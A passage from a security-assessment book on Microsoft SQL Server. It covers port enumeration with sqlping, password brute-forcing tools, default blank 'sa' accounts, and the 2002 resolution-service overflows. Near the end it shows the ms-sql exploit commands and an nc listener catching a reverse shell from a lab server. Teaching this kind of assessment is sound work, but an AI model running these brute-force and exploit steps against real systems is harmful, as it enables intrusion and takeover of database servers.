The Microsoft SQL Server service can be found running by default on TCP port 1433. Sometimes I find that the SQL Server service is running in hidden mode, accessible via TCP port 2433. Yes, this is what Microsoft means by hidden.
The SQL Server Resolution Service (SSRS) was introduced in Microsoft SQL Server 2000 to provide referral services for multiple server instances running on the same machine. The service listens for requests on UDP port 1434 and returns the IP address and port number of the SQL server instance that provides access to the requested database.
You can use Chip Andrews' sqlping Win32 command-line utility to enumerate SQL Server details through the SSRS port (UDP 1434). The sqlping tool is available at http://www.sqlsecurity.com/uploads/sqlping.zip.
Example 8-11 shows the sqlping utility in use against a SQL 2000 Server, revealing the server name, database instance name, clustering information, along with version details and network port/named pipe information.
D:\SQL> sqlping 192.168.0.51 SQL-Pinging 192.168.0.51 Listening.... ServerName:dbserv InstanceName:MSSQLSERVER IsClustered:No Version:8.00.194 tcp:1433 np:\\dbserv\pipe\sql\query
Interestingly, even if the SQL Server has been patched using the latest service pack and Microsoft security hot fixes, the version remains at 8.00.194 (when it is actually 8.00.762 if SP3 is installed). Therefore, the exact version number reported through the SSRS shouldn't be trusted.
SQL Server can use the following transport protocols across the Internet:
TCP/IP (TCP port 1433 or 2433 in hidden mode)
MS RPC (using numerous protocol sequences, see Chapter 9)
Named pipes (accessible via authenticated SMB sessions, see Chapter 9)
Here I'll discuss assessment using direct TCP/IP access to the service (through port 1433) and named pipes (through ports 139 and 445), tackling brute-force password-grinding and process-manipulation vulnerabilities in particular.
MetaCoretex (http://www.metacoretex.com) is a modular database vulnerability scanner written entirely in Java and is effective at testing Microsoft SQL Server, Oracle, and MySQL database services. The scanner has a number of pre- and post-authentication Microsoft SQL Server probes. In particular, here are some useful remote tests:
SQL Server service pack check
Auditing tests to determine which actions are logged
Various dangerous stored procedures checks
SQL Server brute force
forcesql and sqlbf are two excellent remote SQL Server brute-force utilities you can run from the Win32 command line; they are available at:
On the open source Unix-based side of things, the sqldict utility found within the SQLAT toolkit can effectively launch SQL Server brute-force attacks over TCP port 1433.
The sqlbf utility is especially useful because it allows for SQL Server username and password combinations to be guessed through both the TCP/IP (port 1433) and named pipe (port 139 and 445) transports. The tool can be used as follows:
D:\sql> sqlbf Usage: sqlbf [ODBC NetLib] [IP List] [User list] [Password List] ODBC NetLib : T - TCP/IP, P - Named Pipes (NetBIOS)
The SQL administrator account under Microsoft SQL Server is called sa. Many SQL Server 6.0, 6.5, 7.0, and 2000 installations can be found with no password set; however, SQL Server 2003 doesn't permit the password to remain blank. SQL Server 6.5 has a second default account named probe used for performance analysis, also with no password.
Patrik Karlsson wrote an excellent toolkit for easily compromising the underlying server upon gaining access to the SQL service, titled the SQL Auditing Tool (SQLAT) and available at http://www.cqure.net/tools.jsp?id=6.
The toolkit is highly effective and well developed, restoring the xp_cmdshell stored procedure (see Chapter 6) if it has been removed, and allowing for files to be uploaded, registry keys to be dumped, and the system SAM database to be accessed.
In 2002, three serious remotely exploitable (preauthentication) buffer overflow vulnerabilities were identified in Microsoft SQL Server by David Litchfield and Dave Aitel. I describe here with their respective MITRE CVE references and background information.
By sending a malformed packet to the resolution service on UDP port 1434, a simple stack overflow occurs. In 2003, a worm known as slammer spread using this vulnerability, documented in http://www.cert.org/advisories/CA-2003-04.html.
A second overflow identified by David Litchfield occurs when a 0x08 packet is sent to the SSRS service on UDP port 1434, this time resulting in a heap overflow. This vulnerability isn't as easily exploited as the first, and so many attackers opt to abuse the simple stack overflow to gain system access.
Dave Aitel identified an overflow in the authentication mechanism used by SQL Server (by default on TCP port 1433). By sending a crafted authentication request, a stack overflow occurs. You can find Dave's original post to the Vuln-Dev mailing list at http://archives.neohapsis.com/archives/vuln-dev/2002-q3/0430.html, which includes an NASL script you can plug into Nessus (http://www.nessus.org) to test a target host.
David Litchfield's 0x04 leading-byte stack overflow (CVE-2002-0649) in the SQL resolution service can easily be exploited using ms-sql.exe, available along with source code from the O'Reilly archive at:
Example 8-12 shows the ms-sql exploit usage. The stack overflow creates a connect-back reverse shell from the SQL server back to the user, which is useful if a half-decent firewall policy is in place blocking access to high ports on the server.
D:\SQL> ms-sql =============================================================== SQL Server UDP Buffer Overflow Remote Exploit Modified from "Advanced Windows Shellcode" Code by David Litchfield, email@example.com Modified by lion, fix a bug. Welcome to HUC web site http://www.cnhonker.com Usage: sql Target [<NCHost> <NCPort> <SQLSP>] Exemple: C:\> nc -l -p 53 Target is MSSQL SP 0: C:\> ms-sql 192.168.0.1 192.168.7.1 53 0 Target is MSSQL SP 1 or 2: c:\> ms-sql 192.168.0.1 192.168.7.1 53 1
In my lab environment, I am on 192.168.189.1, attacking a server at 10.0.0.5. I use the exploit (shown in Example 8-13) to send the exploit payload, which results in the server connecting back to me on TCP port 53 with a command prompt.
D:\SQL> ms-sql 10.0.0.5 192.168.189.1 53 1 Service Pack 1 or 2. Import address entry for GetProcAddress @ 0x42ae101C Packet sent! If you don't have a shell it didn't work.
At the same time, I set up my nc listener on TCP port 53. Upon sending the overflow code to the vulnerable service, an interactive command prompt is spawned from the remote server, as shown in Example 8-14.
D:\SQL> nc -l -p 53 -v -v listening on [any] 53 ... connect to [192.168.189.1] from dbserv [10.0.0.5] 4870 Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. C:\WINNT\system32>